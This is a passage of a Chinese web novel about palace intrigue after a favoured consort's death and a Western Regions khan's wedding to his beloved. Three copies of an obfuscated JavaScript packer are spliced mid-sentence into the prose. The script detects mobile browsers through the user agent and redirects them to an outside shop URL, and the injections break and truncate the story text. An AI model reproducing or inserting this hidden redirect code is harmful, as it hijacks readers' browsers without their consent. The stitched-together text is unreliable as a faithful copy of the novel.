“不太平?难道是?” 淑妃点头,“姐姐猜得没错,这段时间,总有宫人在仪鸾宫附近听到女人的哭声,对了,还有一件更离奇的事儿。”淑妃往前凑了凑,“前几日席容家的二少爷死在了大牢里,听说是染了风寒死的,大夏天的,管事的怕尸体搁久了,再让牢里的人染上疫病,当夜就命两个狱卒拖出去焚化了,可姐姐你猜怎么着,这两个人还没等走到乱葬岗就撞见鬼了。” 贤贵妃连忙捂住心口,“阿弥陀佛,宫中一向禁谈鬼神,这话可不敢乱说啊。” “哪里是我乱说,姐姐要是不信,只管自己去打听。其中一个人当场就被吓晕了过去,醒来还是疯疯癫癫的,说有鬼打他捉他,另一个还算清醒,可也被吓得不轻,前言不搭后语,连个囫囵话都说不出来,最古怪的是,这两人还没等焚化尸体,尸体就不翼而飞了,我的天,你说吓人不吓人。” 贤贵妃扯下一粒葡萄,送到嘴里压惊,“真是吓人,怎么会有这样的事儿!” “这两件事赶到一块儿,就连皇后娘娘也说,席容皇贵妃走的匆忙,怕是还有什么未了的心事,请人来超度一下也是好的,所以才没拦着皇上。” “原来如此,阿弥陀佛,阿弥陀佛,所幸咱们和席容皇贵妃并无仇怨,就算真有鬼魂,也找不到咱们头上。” “是啊,不瞒姐姐,我为着平乐的事儿,原也是恨毒了她的,只是姐姐也知道我的性子,我再怎么恨一个人,也不知道如何下手谋害。我从前还总怨自己心慈手软,枉为人母,如今倒是暗暗庆幸,我除了在心底咒骂几句,究竟不曾真正害过她什么,也算积德行善了。” “唉,其实她也怪可怜的,看着风光,活了一辈子都没活明白,不过是给他人作嫁衣裳罢了,算了,不提她了,妹妹快吃口茶,压压惊吧。” 淑妃抿了口茶,瞥见贤贵妃未做完的活计,笑着拿起来端详,“这肚兜是给哲远王绣的?” “是,远儿爱踢被子,我怕他着凉,总是哄他穿上这个,这样夜里起风,也不怕了。” “姐姐待孩子可真是好。” “妹妹对平乐不也是这样吗,咱们做母亲的,活到这个年纪,什么恩宠啊,什么荣华啊,真都无所谓了,所有的心思呀,全在孩子身上了。” 淑妃颔首,“说起孩子,妹妹倒想起一件事,只是不知道当说不当说。” “你我姐妹,想说什么就说。” “我看皇上如今是想开了,所有政务,一概不理,全都扔给了太子殿下,朝中大臣对待太子殿下,有如臣侍君,无不恭谨,无不勤勉。” “皇上一早就属意太子继承大统,大臣们以礼相待,也是正理。” “太子背后有着魏家,林家两重势力,再加上中宫嫡出的身份,自然是继位为王的不二人选。可是论起军功,论起对大魏的贡献,谁能与姐姐的肃安王相较啊。再者,若论资历,姐姐你有两位皇子,若论情份,姐姐早在前朝就跟着皇上了,这份情谊,皇上心里也一定是有数的。眼下皇上为着席容皇贵妃的事儿,心里正不快活,说不准还恨着皇后娘娘呢,姐姐何不趁此机会,更进一步?” 贤贵妃神色渐次凝重,“妹妹,你到底想说什么?” “正所谓,普天之下,莫非王土,率土之滨,莫非王臣,姐姐,你难道就不想让自己的孩儿走到那个全天下人都仰望的位置上吗?如今帝后离心,朝臣不安,这可正是千载难逢的好机会呀。平乐怀着身孕,临盆在即,姐姐若有此心,妹妹也可和平乐打声招呼。肃安王战功赫赫,在朝中威望甚高,若再加上西域的支持,到头来,鹿死谁手,还未可知。”[1] “妹妹,你真是糊涂了!且不说安儿只知军务,不擅政事,他就算真有这个本事,也断不敢存了这个大逆不道的心思!为着这个皇位,前前后后已经死了多少人,折了多少家,妹妹,此话万万不可再说,若传了出去,不但你我性命不保,就是你我族人,恐也会受到牵连。” “我自然知道这话不能乱说,所以我也只是在姐姐面前说起,旁人跟前,我是一个字也不敢提的。妹妹是替姐姐不平,都是皇上的孩儿,凭什么皇上眼里就只有太子殿下呢。太子殿下是好,可是肃安王也不差呀。我和姐姐情同姐妹,从小看着他长大,私心里也是当自己孩子疼的,我自然盼着他好,盼着他,比谁都好。” 贤贵妃摇头,“不,本宫从来不觉得做皇帝是什么好事。你只瞧皇上就知道了,他费尽千辛万苦赢得了这个皇位,可这皇位,他可有一天坐得安宁?为君者总有许多不得已,位置越高,责任越大,担子越重,本宫不愿自己的孩儿这辈子也这样辛苦自己,委屈自己,辜负自己。我只希望他能平平安安,健健康康,这比什么都重要。” 淑妃无可奈何,只得叹了口气,“好吧,那就当妹妹什么也没说,姐姐什么也没听见。” 采碧在外高声回禀,“娘娘,怡贵人打发人送东西来了。” “怡贵人,这倒真是稀罕,进来。” 淑妃也好奇道,“怡贵人送了什么东西过来?” 采碧道,“回两位娘娘的话,是桃枝,送来的人说是辟邪用的。” 贤贵妃点了点头,“怡贵人有心了,来人何在?” “东西送到,人就走了,不过奴婢已经替您谢过怡贵人了。” “嗯。” 淑妃拾起桃枝,“怡贵人性子一向清冷,和六宫中人也少有往来,这会子怎么突然送这东西来了,虽说桃枝可以辟邪,终究也不算什么值钱的物件儿。” “这才是怡贵人的细心之处,她在宫中并无交好之人,可也并无交恶之人,挑个适当的时候送个适当的东西,谁也挑不出错来。眼下仪鸾宫闹鬼,阖宫之人有几个是真不害怕的,怡贵人送了桃枝给大家辟邪,谁心里不得念她一声好。” 淑妃一面听一面点头,“姐姐这么一说还真是,我从前倒是小看这个怡贵人了,还以为她是个不食人间烟火的主儿。” 贤贵妃吃了粒葡萄,又呷了口茶,“要我说啊,这宫里的糊涂人多,明白人少,怡贵人算是个难得的明白人了。” 淑妃听了这话,脸上稍微有些挂不住,她又坐了一会儿,便起身告辞,“姐姐歇着吧,妹妹先回去了。” “也好,再过一会,天就黑了,这段日子宫里不太平,妹妹也小心些,采碧,去送一送。” “是。”采碧快步上前挑起帘子,笑道,“淑妃娘娘慢走。” 淑妃冲采碧微微一笑,“有劳了。” 仪鸾宫。 魏風漪一身缟素,跪坐在火堆旁,一张张烧着纸钱。 香罗扒着门缝,仔细观察外头的情况,回来劝道,“公主,这儿阴森森的,咱们快走吧。” “怕什么,我母妃还能害我不成?” “主要是,自从娘娘走后,公主就总悄悄来这儿烧纸钱,一来二去,路过的人还以为是鬼火,现在都传咱们仪鸾宫闹鬼呢。奴婢是怕,皇上还有皇后认真查起来,会责怪公主。” 魏風漪抬手抹了把眼泪,“无所谓啊,要打要罚,都随他们的便,母妃死了,这世上,我再也没有什么可留恋的了。” “不管怎么说,皇上还是疼公主的。” “可是父皇逼死了母后,香罗,我从此再也没有母亲了,再也没有母亲了。” 香罗叹了口气,上前抱住了魏風漪,“公主别哭,娘娘虽然走了,奴婢会一直陪着您的。” 魏風漪哽咽道,“香罗,我恨他们,我真的好恨他们,皇后,如果没有皇后的步步紧逼,母妃就不会死,母妃就不会死!” “公主,这样的话以后就不要再说了,大势已定,公主没有受到牵连已是万幸。” “不!母妃死得太冤枉,我只要还有一口气在,就一定要给母妃报仇!” 暗处,响起了清晰的拍掌声,“好啊,公主殿下既有此心,我倒可以助您一臂之力。” 魏風漪霍地回头,却只瞧见了左右摇晃的枝影,在风中沙沙作响。 “谁在那里?出来说话!” 一个身披黑色斗篷的人缓缓从树阴里踱了出来,宽大的帽檐完完全全遮住了他的面容,魏風漪只能瞧见他有如刀削般的下颚。 香罗壮着胆子,挺身挡在了魏風漪的前面,“你是何人?” 来人呵呵一笑,“公主莫要害怕,我是谁不重要,重要的是,我是来帮您的。” 魏風漪扬了扬手,示意香罗退下。 “你倒是说说,你为什么要帮我?无缘无故的,我可不信,这天底下有这样的好事。” “不瞒公主,我帮您,也是成全自己。” “哦?这话倒有些意思,你且说来听听。” “皇后害死了席容皇贵妃,公主记恨她。我呢,魏晗烨挡了我的路,我讨厌他。皇后和太子母子同心,我与公主心意相通,我帮公主报仇,可不就是成全自己吗。” “魏晗烨挡了你的路?”魏風漪上下打量着他,“难道,你想争夺皇位吗?” “这就和公主没有关系了,我劝公主一句,最好别好奇我是谁。公主若是有一天知道了我的身份,即便公主是我的盟友,我也不会手下留情的。” “照你的说法,利合而交,利尽而散,本公主如何信你?” “公主不信我也可,只是公主您要明白,公主您一个深闺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502792|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子,仅凭自己如何报仇呢?我可以帮您,您和我联手才是最好的选择。” “那你打算如何帮我?” “皇后膝下唯有一子,魏晗烨死了,皇后的指望就没了,这,就是最好的报复。” “魏晗烨——”魏風漪思忖片刻,“我恨的是皇后,不是太子——” 来人仰天而笑,“哈哈哈哈!” “你笑什么?” “我笑公主妇人之仁,都到了这个地步,公主居然还惦记着和他的兄妹之情。可叹啊,他对您祖父一家下手的时候,可曾有过一丝手软?公主,您可别忘了,您身上有一半流的是席容家的血啊,您真的一点都不在乎吗?” 魏風漪没有说话,只是不自觉握了握拳。 来人往前走了两步,继续说,“俗话说,打蛇要打七寸,皇后死了就一了百了了,那才是便宜了她。公主想要报仇,就得让她活着,毫无指望地活着,如此,才对得起席容皇贵妃生前受的那些折磨,才对得起席容一族枉死的冤魂。” 香罗面露担忧,上前扶了一下魏風漪,轻声道,“公主。” 魏風漪抬头看他,“本公主连你是谁都不知道,凭什么相信你有本事帮我?” 来人喉咙里闷出了一声沙哑的笑,“我就知道公主会这么问。”他拍了拍手,“出来吧。” 一个浑身是伤的女子走了出来,她扑通一下跪倒在魏風漪跟前,哭道,“公主殿下!” “你是?”魏風漪仔细分辨了半日,忽然惊喜道,“你是母妃身边的兰鸢!快起来!” “公主殿下!奴婢还以为,这辈子都再也看不见公主殿下了!” 魏風漪悲喜交集,伸手扶她,“兰鸢,你和紫藤一向对母妃尽心尽力,我看到你,就像看到了母妃一样,对了,紫藤呢?” “紫藤姐姐性子刚烈,一点也不肯求饶,那帮人问不出话来,便用尽各种手段折磨她,她受不住刑,最后死在了狱里,我也差一点就死了,幸亏这位义士救了我。” 魏風漪一愣,“我身为皇女,都没办法救她们出来,想不到,你竟有如此神通。” “这回公主相信,我能帮您了吧?” 魏風漪咬了咬牙,“好,本公主信你一回,你说,我应该怎么做?” “公主别急,我呀,慢慢地细细地和您说。” 风声漫过迭迭黄瓦,重重朱墙,将不为人知的一切掩在了黑暗里。 西山。 琉璃莲花香炉中,三支竹立香青烟缥缈。 一时,太后念完了经,才欲起身,忽觉一阵头晕目眩,安然连忙上前扶她。 “唉,人老了,这精神也越发不济了。” “哪儿的话,您有佛祖庇佑,福气大着呢。” “但愿吧,对了,席容家的人可都处置完了?” “是啊,席容一家,算是彻底败了。皇上经此一事,也算想开了,把国事都交给了太子殿下,如今太子殿下执掌朝政,居仁由义,勤勉内外,百姓们终于能过几天安生日子了。” “安生日子?”太后微微一笑,“你说错了,皇上急于脱身,想让太子接下这个担子,可这担子是那么好接的?多少双眼睛盯着这块肉呢,依哀家看,这纷争啊,才刚刚开始。” “那娘娘您要不要也回去分一杯羹呀?” 太后抬眸仰视着龛中佛像,不知为何,她总觉得今日,佛祖投下的眼神格外悲悯。 她幽幽叹了口气,“哀家老了,没那么多心思了。天家父子少恩义,想来皇上也是哀家的骨血,当年却因为朝中事务和哀家离了心,逼着哀家住进了西山。皇上他宠了席容皇贵妃那么多年,却一直都不肯让她怀上身孕,还早早地就册立太子,也是怕父子离心的缘故吧。” “皇上那时候年轻不懂事,旁的不说,就说这些年,皇上不总是想请您回宫颐养天年吗,只是娘娘一直不肯,皇上纵有孝心,也没处使啊。” “呵呵,回宫颐养天年?哀家在这西山住的好好的,回那不得见人的地方做什么?人人都羡慕宫里的日子,殊不知,宫里的人宫里的事最是污秽不堪,哪有佛堂清静?” 安然默了默,“对了,还有一件事,方大人今早又来向太后娘娘请安了,奴婢知道您不愿意见他,就替您回了。方大人说,他再过几日就要离京了,他希望走之前能见您一面,他还拜托奴婢,将此物转交给太后娘娘。” 太后觑了一眼那枚香包,脸色愈发难看,“你把这劳什子还给他,再告诉他,不要再有什么非分之想,不然哀家也保不住他。” “是。” “承鹤呢?这些日子,哀家怎么没看见他。” “方公子最近不大往西山来了,奴婢也不知道他在忙些什么。” “唉,一个个的,都这么不让人省心。” “太后您就放宽心吧,奴婢瞧那方公子是个有分寸的,方大人不为别的,就为着他这个唯一的儿子,遇事也得掂量掂量,不敢胡作非为的。” “但愿吧,对了,哀家听说三乘大师云游回来了,安然,等下你带上哀家亲手抄的《妙法莲华经》,我们去找大师帮忙祈福祝祷。” “奴婢知道太后是一定要去见大师一面的,一早就知会六净寺的人备下了。” 太后笑了笑,“好啊,还是你明白哀家的心意,哀家的儿子都不如你。” “太后娘娘这话可真是折煞奴婢了,奴婢怎敢和皇上比呀,不过是伺候您伺候的久了,猜也能猜个八九不离十。” 太后的唇角逸出一抹苦笑,她摇了摇头,却也没再说什么。 85. 沙吹缱绻语 西域。 “驾!驾!” 风籁猎猎,悠扬的马鞭声击破重云,一大一小的影子被日头拉得修长。 马儿疾驰,席容烟慌乱中拽住了寒星的袍袖,“寒星,你慢点!” “哈哈哈!阿烟莫怕!有我在,断不会让你有什么闪失的!” “不行,你快停下来,你再这样,我真要恼了!” “吁——”寒星勒住缰绳,单手抱她下马,讥笑道,“又不是头一次骑了,怎么还怕成这样。” 席容烟只觉得头晕目眩,她勉强立稳身子,白他一眼,“你明知道我怕,还硬要吓唬我,你说,你到底安的什么心。” “我不是想快点教会你骑马嘛,这样我不管去哪里,都可以带着你一起了。” “我不管,反正你把我吓到了,你得道歉。” “道歉?”寒星嗤笑道,“喂,我可是西域的汗王,你居然让我和你道歉?” “怎么,你不肯?好啊。”席容烟往回走了两步,突然一手拽住缰绳,一脚踩上马镫,一骨碌就翻到了踏雪玉狮的背上。 “阿烟,你不是不会骑马吗,你这是做什么?” 席容烟赌气道,“你不道歉,我就死给你看!” “好好好,我给你道歉就是了,你快下来,这可不是闹着玩的。” “谁让你欺负我了,你先道歉,我再下来。” 寒星无奈,“好吧好吧,阿烟,我错了,我不该吓唬你的,我再也不敢了,我求你赶紧下来吧。” 席容烟得意一笑,“这还差不多。” “好啦,快下来吧,听话。” “嗯。”席容烟俯身,顺着马背往下滑,一不小心竟踩脱了马镫子。 “啊——” 寒星快步上前,“阿烟小心!” 仓促间,席容烟扯下了一撮踏雪玉狮的鬃毛,踏雪玉狮哪里受过这样的委屈,立时扬蹄嘶鸣起来,眼看席容烟就要被甩了出去。 “寒星……救我……” 千钧一发之际,寒星凌空一跃,一手稳稳接住了她,一手攥住踏雪玉狮的缰绳,抱着她重新坐了回去。 席容烟心有余悸的捂着心口,“还好有你在,刚刚真是吓死我了。” 寒星脸色铁青,双腿用力一夹马肚子,“驾!” “不是,你慢点啊。” 寒星置若罔闻,反手高高扬起了马鞭子,“驾——” 疾风扑面,席容烟几乎睁不开眼睛,“寒星你干什么!” 寒星的唇抿成了一条线,他歪头盯着她,“我干什么?你说我干什么?!” 席容烟还是第一次看见他这么生气,只得放软了语气,“我是说,你能不能慢一点。” “不对!重说!” “我——”席容烟哭笑不得,“阿星,我错了,我不该拿自己的性命开玩笑,害你担心。” “好啊,你也知道你拿自己的性命开玩笑,你也知道你害我担心!踏雪玉狮性子极烈,你本来就不擅长骑马,万一惹恼了它,它把你踩成烂泥,还不是分分钟的事情!” “我错了还不行吗,我真的再也不会做这种蠢事了。” 寒星语气生硬,“晚了,我今天必须给你一个教训。” “啊?寒星,你别乱来!” 寒星不由分说,抬臂把她抡了一圈,席容烟只觉得天旋地转,待她再睁开眼时,正对上寒星冷峻的面庞。 席容烟惊慌道,“你要干嘛?” “我要干嘛?当然是给你一个教训!” 寒星丢开缰绳,由着马儿恣意驰骋,他双手托举着她,将她放倒在踏雪玉狮的脖颈处,欺身吻了下去,他的吻太过霸道,她根本躲闪不开。 她的身子一半悬在空中,一半被他用唇齿勾着,她仰头,只见天上白云掠影,疾驰而过。 踏雪玉狮没有了缰绳的束缚,跑得愈发欢快,席容烟觉得自己快被颠飞了,她咬破寒星的凉唇,含混不清的骂着,“寒星!你作死啊!放我下来!” 寒星嘴角上扬,眸中的冰霜渐次消散,“阿烟,你除了咬人,还会什么,嗯?” “我——” 寒星根本没给她说话的机会,他舐掉唇上的鲜血,用舌尖抵到了她的喉咙深处,他斜眼睨着她笑,“怎么样,我的血,好喝吗?” 席容烟恨得咬牙,“好喝,真好喝。” “别急,你喜欢,我让你喝一壶。” 隔着一层薄薄的衣料,寒星贪婪地呼吸着她的体温,她的心跳,他一句话也没说,可他的眼神已经清清楚楚的告诉了她,“阿烟,我想要你。” 席容烟被这眼神激起了胜负欲,她用手臂勾住寒星的脖颈,一个旋身的功夫,跨坐回了马上。 寒星面露赞赏之色,“呦,可以啊。” 席容烟扯过缰绳,猛地一勒,只听马鸣嘶嘶,踏雪玉狮蹄朝碧霄,旋即落定。 “哈哈,此马这么听你的话,倒是与你有缘!”寒星抬手摩梭着踏雪玉狮的银白色鬃毛,“也罢,我就将它送给你了。” 席容烟回头看他,“这可是你的马,你真的舍得吗?” 寒星趁机亲了她一口,“这有什么,我再驯一匹就是了,我近来最喜欢的两件事,就是驯马还有熬鹰,这比什么都有趣儿。我答应你,只要你学会了骑马,我就把它送给你。” “好啊,一言为定。” “我送你良驹,你怎么报答我呢?” “什么报答?” 寒星坏坏一笑,“阿烟,你真的不明白吗?” 席容烟脸颊绯红,她侧过脸去,嘴硬道,“真不明白。” “哦,没关系,我回去慢慢教你。” 说着,寒星调转了马头,“驾!” 暖风拂面,他的声音仿佛细腻的沙,吹散在广袤的大漠中。 “阿烟——我想要你——” 王帐。 艾山、沙吾提两个在门口来回踱着步子。 “太阳都晒屁股了,大汗怎么还不起啊。” “谁知道,要不你去催催。” “我可不敢,你别忘了,这里头还有个女的呢。” 艾山看着手里的信发愁,“那怎么办,这事儿拖不得,咱们得赶紧请示大汗啊。” 沙吾提想了想,“这样吧,你在这儿守着,我去找寒木,他和大汗熟,要是真说错了什么,也赖不到咱们身上。” “行,你快去。” 日头漫过帐门,向内斜斜打落一道白影。 灿日昏昏,席容烟酣梦初醒,她把眼睛眯开了一条缝,正瞧见寒星冲着她笑。 “你可算醒了,为夫的胳膊都被你压酸了。” “啊——”她侧头一瞧,刚想道歉,忽然想起了昨晚的事,于是翻了个身,背朝着他,冷冷甩下一句,“活该。” 寒星心有不甘,一把将她拽回怀里,“怎么,这么快就不想认帐了?昨晚是哪个小家伙把为夫的嘴唇都给咬烂了。” “你还敢说,昨儿还不是你——”话至嘴边,席容烟却是羞红了脸,一个字也说不出来。 寒星坏坏笑着,“我怎样?” “呸,你,你无耻!” “行吧,无耻就无耻,我本来也不是什么正人君子。” “无耻!” 她的脸红扑扑的,寒星忍不住掐了一下,“阿烟怎么就会说这两个字,换个别的听听。” “卑鄙!下流!” “哈哈哈。”寒星撑着头,眼神温柔而又危险,“那为夫今天就让你见识见识,什么叫卑鄙,什么叫下流。” 席容烟听见这话,一骨碌就滚下了床,慌里慌张地四下找衣裳,寒星忍俊不禁,从枕旁拾起她的肚兜,在指尖上绕了两圈,“阿烟在找这个吗?” 席容烟伸出一只手,“给我。” 寒星笑笑,用哄小孩的语气说道,“你过来,为夫亲自给你穿上。” “你——” “我——” 帐外传来了寒木的声音,“大汗!我们几个有事找你!” “什么事?” 寒星等了几秒,才听见寒木说,“很重要的事情,还请大汗出来说话吧。” 席容烟笑着催他,“别闹了,你快去吧,有正经事等着你呢。” 寒星勾了勾唇角,“急什么,我等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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席容烟身上穿的是一袭月白色长裙,腰部以下的刺绣皆是用银线挑了金箔,细细勾勒而成,远远一看,宛如群星璀璨,纷扬坠落。她外面披着淡蓝色纱罩衫,上搭一条浅紫色披帛,整个人往那一站,活脱脱误入凡尘的婀娜仙子。 仿佛多看一眼,都是亵渎。 寒木低下头,“烟姑娘果真美得不可方物,难怪让寒星念念不忘了那么些年。” 席容烟莞尔一笑,“将军谬赞了,劳烦将军在前带路吧。” “姑娘莫急,有一个人,您得先见一见。” “谁?” “当然是您一直想见的人。”寒木笑着拍了拍手,“出来吧。” 只见桃夭从寒木的身后闪出,泣不成声,“姑娘!” 席容烟愣了片刻,旋即一把拉住桃夭的手,亦是哽咽不止,“自从那日走散,我寻了你许久也没有寻到,后来寒星说不能再耽搁了,我才和他来了这里,我原以为再也见不到你了。” 寒木道,“寒星知道烟姑娘惦念桃夭,一直派人暗中寻访,因为袁青他们看得紧,派去的人一路上并不敢露了行藏,所以耽搁了些时日。寒星私下同我说,烟姑娘乍离故土,总是闷闷不乐,他特意预备了这个惊喜,但求能博姑娘一笑。” “桃夭——” 席容烟用手指轻轻抹去桃夭眼角的泪痕,桃夭的一双杏眼哭得通红,仿佛日落时分涨潮的秋水,她紧紧攥着席容烟的手,一声声念着,“姑娘。” “对了,珍儿救出来了吗?” “救出来了,姑娘放心。” 寒木怕席容烟伤心太过,劝解道,“虽然寻找桃夭费了一番波折,但所幸桃夭机灵,并没有受什么苦,烟姑娘放宽心才是。” 席容烟微仰着头,努力不让眼泪掉下来,“这样大的惊喜,寒星怎么不自己同我讲。” 寒木朗声而笑,抬臂做了一个“请”的手势,“这是因为,大汗还预备了更大的惊喜,阏氏请随我来。” 早有一旁的武士牵了踏雪玉狮过来,席容烟将信将疑地翻身上马,又拽了桃夭上来,二人同寒木并排而行。 席容烟在马背上环顾一圈,忽然发现营帐周围的人都不见了,奇怪道,“寒木将军,这儿附近的人都去哪里了?” “这些人嘛,姑娘一会儿就见到了。” 席容烟猜出寒木受了寒星的嘱托,决计不肯吐出实话,索性也不再问。 86. 月拢血水情 月下的黄沙泛起一叠叠的银浪,席容烟由着踏雪玉狮载着,向那不可名状的山峦驰骋。 马儿跃过蜿蜒而上的坡麓,凌空溅起的细碎飞沙散着粼粼金芒,隔着轻薄如烟的光幕,席容烟终于瞧见,模糊的人影在大漠的尽头影影绰绰地浮现。 人们手持火把,一群群地簇拥在道路两侧,隐约传来了一阵阵欢声笑语。 五光十色的柔软花瓣蜿蜒绵亘,铺就了一条数十余丈长的斑斓氍毹。 寒星立在花毯尽头,正同几个西域的大将军谈笑风生,他身上亦是一袭纯白色的衣袍,领口、袖口、束腰、袍摆皆用纯金镶了金边儿,简单中透露着漫不经心的奢华。 晚风擦过耳畔,他仿佛意识到了什么,蓦地转过身来。 那一刹那,闪烁的火光、清透的月光、随风摇曳的沙子的尘光,还有倾泻在无垠荒漠上的漫天星芒,在他的脸上交错浮动。 他的身形依旧清冷,正如同他的名字一般,寒意逼人。 可他望向她的眼神中却是脉脉柔情,像是春日的风,吹化了凛冽的霜雪。 一旁的人顺着他的目光,瞧见了不远处的席容烟,纷纷开始起哄,“快看快看,新娘子来喽!” 寒木咧嘴一笑,“烟姑娘,我们到了,请下马吧,寒星正在那边等着你。” 这一切太过美好,给人一种不敢相信的错觉,郁纷清婉的香气扑面而来,席容烟整个人都是一个恍惚的状态,桃夭扶着她一步步向前走着。 寒星冲席容烟微笑着伸出一只手,他的手指修长,骨节分明,右手拇指上佩戴着的象牙扳指正是席容烟日前送他的那枚。 “这就是你给我准备的礼物?” “是啊,喜欢吗?” 席容烟用力点头,亮晶晶的眼睛里闪着喜悦的泪光。 寒星牵过她的手,“阿烟,还记不记得,我曾经说过,终有一天,我会给你一场全天下最盛大,最浪漫,最与众不同的昏礼。”他走近几步,用只有他们两个人能听清的声音说道,“天池那夜,是我一时情动,坏了约定,但是,我承诺过你的事情,一定会做到。” 伴着“嘭”的一声巨响,一捧捧绚烂夺目的烟花在席容烟的头顶倏忽绽放,她仰起脸,在众人的欢呼声中笑得分外灿烂。 烟升,星落,只消刹那,已是永恒。 艾山捧来一个银制的小盅,恭敬道,“这是阿塔亲自去天池舀来的圣水,请大汗和阏氏歃血同饮,生死相随,百年好合。” 席容烟有些疑惑地看向寒星,寒星解释道,“共饮天池水是西域汗王大婚的规矩,世世代代皆是如此,按规矩,这取水者,还有奉水者都应该是西域威望最高的将军,也就是尧里瓦斯,因为他身体不适,这才派了他的儿子艾山过来。” “原来如此——”席容烟转头看向艾山,“有劳艾山将军了,令尊没有大碍吧。” “小病,不要紧的,多谢阏氏惦念。” 寒星从怀中掏出一个小巧匕首,在左手掌心划开一个十字,随后他将匕首递给了席容烟,席容烟没有片刻犹豫,也学着他的样子划破了自己的手掌,二人十指相扣,血印相叠,一滴温热的鲜血顺着线纹滑落,没入澄澈的水中。 席容烟举起银盅,“你先喝还是我先喝?” 寒星笑了笑,用右手覆上她的手,“这也算是你们中原的合卺酒了,当然要一起喝。” 还没等她反应过来,他借着她的手将盅中水一饮而尽,随即低头吻了上去,天山的雪香包裹着二人的血香,缓缓流入她的口中,四下里人声嘈杂,她却在他那双含情脉脉的眼眸中,再一次清清楚楚地听见了这世间最动人的情话。 “我就算杀尽天下人,也不舍得伤你半分。” “阿烟,令我如此失态的不是香,而是你。” “我寒星在此立誓,此生只娶席容烟一人,往后余生,永不相负。” “我寒星今生今世,三生三世,永生永世,都会爱她,敬她,生死与共,永不分离!” “阿烟,我爱你,我好爱你。” “我想要你——” 说来奇怪,她喝的明明是水,却因为混合了人血的缘故,水入喉中,比老酒还要浓烈,顺着她的心肠烧出了一路的意乱情迷。 寒星仿佛听到了她心底的声音,诚恳道,“阿烟,我说过的每一句话,都算数。” 席容烟笑了起来,笑着笑着,她的眼底泛起泪花,她抬眼看向他,语气真挚,“谢谢你。” 寒星微微皱眉,伸手掐了掐她的脸蛋,“傻瓜,夫妻之间说什么谢啊,叫声夫君听听。” 席容烟张了张口,用极细极轻的声音说了句,“夫君。” 寒星的唇角勾起一个微妙的弧度,他歪着头,笑道,“你说什么,我没听清,再说一遍。” 席容烟知道他是故意的,没好气地瞪了他一眼,略微提高了一点点音量,“夫君。” 寒星笑得分外得意,他往外走了两步,从人群中拉出一个五六岁的小女孩,俯身问道,“丫头,你能听清这位姐姐方才说的话吗?” 小女孩看了眼席容烟,摇了摇头,“我没听见。” “嗯哼,阿烟,你得再说一遍,让所有人都听见才行。” 席容烟又气又恼,当着众人的面儿不好发作,于是快步走到寒星跟前,压低了声音说道,“寒星,你不要太过分!” “哦——”寒星笑睨着她,“不好意思说嘛,也行,那就等晚上,你说给为夫一个人听。” 席容烟羞得红了半边脸,只是抿唇不语。 寒木隔了老远喊着,“大汗,他们都准备好了,现在开始吗?” “开始吧。” “好嘞!”寒木高举火把,来回挥动了两三下,便听锣鼓喧天,震地而来,两侧围着的人纷纷聚拢到了寒星和席容烟的身后,给西域舞姬让出了一块空地。 “这又是什么花样?” 寒星原本想正经回答她,话至嘴边,却又起了坏心思,悄声道,“我的花样可多了去了,阿烟难道还不知道吗?” “你!”席容烟忿忿踩了寒星一脚,低声啐道,“你怎么满脑子想的都是这些龌龊东西,你再这样,我可真要恼了!” 寒星嗤笑,“好啦好啦,不逗你了,这是我让她们按照曲子词排的一支舞蹈,微末伎俩,不足挂齿,不过是博卿一笑罢了。” 空中传来了筚篥悠扬婉转的乐声,几个西域汉子打着手鼓,哼唱着边地的歌谣,舞女们挥舞着胭脂色的披帛,踏着节奏,跟着欢快地转起了圈子。 席容烟听不懂西域的歌词,只觉得这曲调格外热烈,听完浑身上下都是暖的,那种幸福的感觉堆叠在心底,几乎都快要溢出来了,她拍掌笑道,“他们唱得好好听啊。” 寒星笑着揽过她的肩,正色道,“他们唱的,正是我想对你说的话。” 席容烟回头看他,“什么话?我要你亲口讲给我听。” 寒星含情脉脉地注视着她的眼睛,一字一顿,“枕前发尽千般愿,要休且待青山烂。水面上秤锤浮,直待黄河彻底枯。白日参辰现,北斗回南面。休即未能休,且待三更见日头。”[1] “枕前发尽千般愿,要休且待青山烂。水面上秤锤浮,直待黄河彻底枯。白日参辰现,北斗回南面。休即未能休,且待三更见日头。”席容烟跟着呢喃了一遍,不住点头,“这词写的真好,海枯石烂,地老天荒,至死不渝的爱大抵就是如此了。”[1] 寒星宠溺地摸了摸她的头,“想不想看我跳舞?” “想!” “为夫可是舞得一手的好剑,等哪天,我舞给你看。” “好啊,那我为夫君弹琴助兴,如何?” “你,你方才叫我什么?” 席容烟仰起脸,冲着他笑,“夫君啊。” 寒星喜不自胜,一把将她搂入怀中,声音因为激动有些发颤。 “阿烟,你知道吗,今天,是我二十余年里最开心的一天。” “最开心?不应该是天池的那夜吗?那个时候,我就已经是你的人了。” “这不一样,阿烟,于我而言,你今日才算真正承认了我。” 席容烟愣了愣,随即婉然一笑,“阿星,于我而言,亦是如此。” 回去的路上,寒星拥着席容烟,坐在他近来驯服的马上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不,阿烟,你不明白,我生性如此,即便没有席容炎的毒药,我也会杀人的,我干过太多坏事,我的确配不上你。我是一个残缺的人,我很早就没有父母了,我甚至已经记不得他们的样子了,过去的很多年中,我一直活在阴沟里,看不见太阳,更看不见明天,我每天重复的只有一件事,就是杀人,我杀的越多,心就越安,我之所以能成为宰相府最好的杀手,就是因为我心中了无牵挂,生或死,对我来说都是一回事,直到有一天,我遇到了你。” 寒星说到这里,原本黯淡的眼眸里闪过了一抹希望的光,“我不知道,我是从什么时候喜欢上你的,我只知道,我在杀人的时候第一次有了惧意,我怕我死了,就再也看不见你了。” 